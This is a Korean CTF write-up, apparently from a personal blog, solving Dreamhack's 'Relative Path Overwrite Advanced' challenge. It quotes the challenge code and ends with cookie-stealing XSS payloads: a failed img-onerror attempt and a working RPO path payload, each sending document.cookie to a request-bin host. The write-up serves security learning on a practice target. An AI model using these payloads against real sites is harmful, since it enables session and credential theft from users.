Web Hacking/Dreamhack 풀이

Relative Path Overwrite Advanced

박연준 2024. 1. 2. 21:02

문제 정보

https://dreamhack.io/wargame/challenges/440

 

Relative Path Overwrite Advanced

Description Exercise: Relative Path Overwrite의 패치된 문제입니다. 문제 수정 내역 2023.08.10 bot.py 수정, Dockerfile 제공

dreamhack.io

 

풀이

전에 풀었던 RPO 문제의 Advanced 문제이다. 먼저 flag 값이 어디있는지 확인해보면 RPO 문제와 동일하게 사용자의 쿠키 값에 flag 값을 저장한다는 것을 볼 수 있다.

def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
    url = f'http://127.0.0.1/{path}'
    return read_url(url, cookie)

if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
    print('<script>alert("wrong??");history.go(-1);</script>')
else:
    print('<script>alert("good");history.go(-1);</script>')

 

 

전과 다른 점은 Vuln page에 들어가면 nope!! 라는 문구가 나온다. 그리고 404.php 라는 php파일이 문제에 하나 더 있었고 소스 코드는 아래와 같다. vuln 페이지에 들어가면 nope !!라는 문구만 나와 RPO 취약점을 이용해 전처럼 index.php를 경로에 추가하는 것이 아닌 404.php를 추가했다.

<?php 
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

 

 

404.php를 경로에 넣고 요청하니 404.php에 있는 소스 코드가 요청된 것을 확인할 수 있었다. 따라서 param의 파라미터 값이 dreamhack 이어서 이를 지우고 script, alert, on, ', ", <, >, (, ) 의 문자들을 넣고 확인해 본 결과, 특수문자들은 url 인코딩이 되어 있고 script alert on은 잘 출력되는 것을 확인할 수 있었다.

 

 

따라서 404.php로 report에 요청하면 되겠구나 생각해서 아래와 같이 요청을 보냈는데 이게 아니었다. 

404.php/?page=vuln&param=<img src='x' onerror=location.href="https://sjhoifc.request.dreamhack.games/?"+document.cookie>

 

 

이 부분에서 삽질을 좀 하다가 강의에서 배운 것과 같이 ; 와 //의 특수문자를 이용해서 vuln 페이지에서 alert를 시도하였더니 성공하였다.

 

 

따라서 report 페이지에서 location.href를 이용해서 사용자의 쿠키 값을 request bin에 요청하면 flag 값을 얻을 수 있다.

index.php/;location.href='https://oiizraj.request.dreamhack.games/'+document.cookie;//?page=vuln

 

'Web Hacking > Dreamhack 풀이' 카테고리의 다른 글

DOM XSS  (1) 2024.01.04
Relative Path Overwrite  (1) 2024.01.02
Addition calculator  (0) 2023.12.24
CSS Injection 풀이  (0) 2023.07.01
Client Side Template Injection 풀이  (0) 2023.06.26